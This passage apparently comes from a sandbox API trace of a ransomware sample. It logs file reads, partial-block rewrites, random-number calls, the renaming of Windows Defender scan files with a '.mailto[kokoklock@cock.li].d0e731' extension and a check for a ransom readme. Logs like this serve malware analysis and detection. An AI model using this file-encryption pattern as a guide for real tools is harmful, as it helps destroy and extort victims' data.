(in: hFile=0x784, lpFileSize=0x2163fb8c | out: lpFileSize=0x2163fb8c*=1718881) returned 1 [0079.117] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x1a3a5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.117] ReadFile (in: hFile=0x784, lpBuffer=0x2163fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x2163fb60*, lpNumberOfBytesRead=0x2163fb5c*=0x4, lpOverlapped=0x0) returned 1 [0079.119] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0079.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492758 [0079.119] NtQuerySystemTime (in: CurrentTime=0x2163fb38 | out: CurrentTime=0x2163fb38*=132121176370167634) returned 0x0 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x4b551cd0 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xbe131b33 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x6ae128c9 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x1f4e2949 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xb68eab50 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xa10e52fe [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x71705acd [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xc3b4ea1 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x1c01898a [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xc6eedc4c [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xc3dc82f5 [0079.119] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xd4a6107f [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x455a604e [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x19162723 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xa76586cc [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x4a0df4c2 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x351b526f [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x7520d387 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xaca875d9 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x22184478 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x9ccd6901 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xa0c6a44 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xf7d0891f [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x5a6b542e [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xe093a225 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x9ee9f446 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x32f16d81 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xf1604512 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x751883e8 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x407bf1b8 [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0x8f2e8d9a [0079.120] RtlRandom (in: Seed=0x2163fb44 | out: Seed=0x2163fb44) returned 0xb863d7af [0079.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0079.131] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.131] ReadFile (in: hFile=0x784, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.133] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0079.133] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0079.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492690 [0079.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924d8 [0079.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924d8) returned 1 [0079.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.134] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.134] WriteFile (in: hFile=0x784, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.135] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.135] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0xd1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.135] ReadFile (in: hFile=0x784, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.136] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0xd1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927d0 [0079.136] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34927d0) returned 1 [0079.136] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34927d0 [0079.137] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925a0 [0079.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925a0) returned 1 [0079.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.137] WriteFile (in: hFile=0x784, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.137] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.137] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x19f9cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.137] ReadFile (in: hFile=0x784, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.138] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x19f9cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924b0 [0079.138] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34924b0) returned 1 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34926b8 [0079.138] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492410 [0079.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492410) returned 1 [0079.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0079.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0079.139] WriteFile (in: hFile=0x784, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2163faf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x2163faf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.139] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.139] WriteFile (in: hFile=0x784, lpBuffer=0x3492690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2163fb54, lpOverlapped=0x0 | out: lpBuffer=0x3492690*, lpNumberOfBytesWritten=0x2163fb54*=0x20, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x34927d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2163fb54, lpOverlapped=0x0 | out: lpBuffer=0x34927d0*, lpNumberOfBytesWritten=0x2163fb54*=0x20, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x34926b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2163fb54, lpOverlapped=0x0 | out: lpBuffer=0x34926b8*, lpNumberOfBytesWritten=0x2163fb54*=0x20, lpOverlapped=0x0) returned 1 [0079.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x3492848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x3492848*, lpNumberOfBytesWritten=0x2163fb5c*=0x8, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x2163fb74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x2163fb74*, lpNumberOfBytesWritten=0x2163fb5c*=0x4, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2163fb5c*=0x4, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2163fb5c*=0x6c, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x3492500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x3492500*, lpNumberOfBytesWritten=0x2163fb5c*=0x20, lpOverlapped=0x0) returned 1 [0079.143] WriteFile (in: hFile=0x784, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2163fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2163fb5c*=0x4, lpOverlapped=0x0) returned 1 [0079.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0079.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34927a8) returned 1 [0079.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492848) returned 1 [0079.144] CloseHandle (hObject=0x784) returned 1 [0079.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.144] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" [0079.144] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.mailto[kokoklock@cock.li].d0e731" [0079.144] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.145] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", dwFileAttributes=0x20) returned 0 [0079.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0079.145] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.145] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.145] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348be38) returned 1 [0079.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347aaa0) returned 1 [0079.145] RtlExitUserThread (Status=0x1) Thread: id = 915 os_tid = 0x1550 [0079.136] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0")) returned 0x20 [0079.137] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0", dwFileAttributes=0x20) returned 1 [0079.146] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.a0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0079.146] GetFileSizeEx (in: hFile=0x784, lpFileSize=0x216bf800 | out: lpFileSize=0x216bf800*=3510063) returned 1 [0079.146] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x358f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.146] ReadFile (in: hFile=0x784, lpBuffer=0x216bf7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x216bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x216bf7d4*, lpNumberOfBytesRead=0x216bf7d0*=0x4, lpOverlapped=0x0) returned 1 [0079.183] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492550 [0079.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34923e8 [0079.183] NtQuerySystemTime (in: CurrentTime=0x216bf7ac | out: CurrentTime=0x216bf7ac*=132121176370792432) returned 0x0 [0079.183] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xb82fd83e [0079.183] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x3b472d9a [0079.183] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xcea7e0d1 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x6dae13fa [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xed677372 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x24ba485 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xce549acb [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x2e316ffd [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xb874af6e [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x4acf373f [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x56facf27 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xa032d6b1 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x37519571 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x1eee69cb [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x40345913 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x26b14606 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xf6507a74 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xa890d73e [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xa8e026b4 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x7c79f907 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xf80e7f60 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x6c8e87a2 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xa5b44027 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xee8eb36b [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x1b4bc48c [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x1204f2b4 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x625fb6bd [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0xee3b387b [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x2fdffcbf [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x5acfeea0 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x57d50a85 [0079.184] RtlRandom (in: Seed=0x216bf7b8 | out: Seed=0x216bf7b8) returned 0x2cd1f89 [0079.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.195] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.196] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.196] ReadFile (in: hFile=0x784, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.218] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925c8 [0079.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925c8) returned 1 [0079.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925c8 [0079.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.219] WriteFile (in: hFile=0x784, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.219] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.219] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x1afeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.219] ReadFile (in: hFile=0x784, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.223] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x1afeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34925f0) returned 1 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34925f0 [0079.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492618 [0079.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492618) returned 1 [0079.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.224] WriteFile (in: hFile=0x784, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.225] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.225] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x354e99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.225] ReadFile (in: hFile=0x784, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x216bf76c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x216bf76c*=0x4096, lpOverlapped=0x0) returned 1 [0079.263] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x354e99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0079.263] RtlAllocateHeap (HeapHandle=0x33c0000, 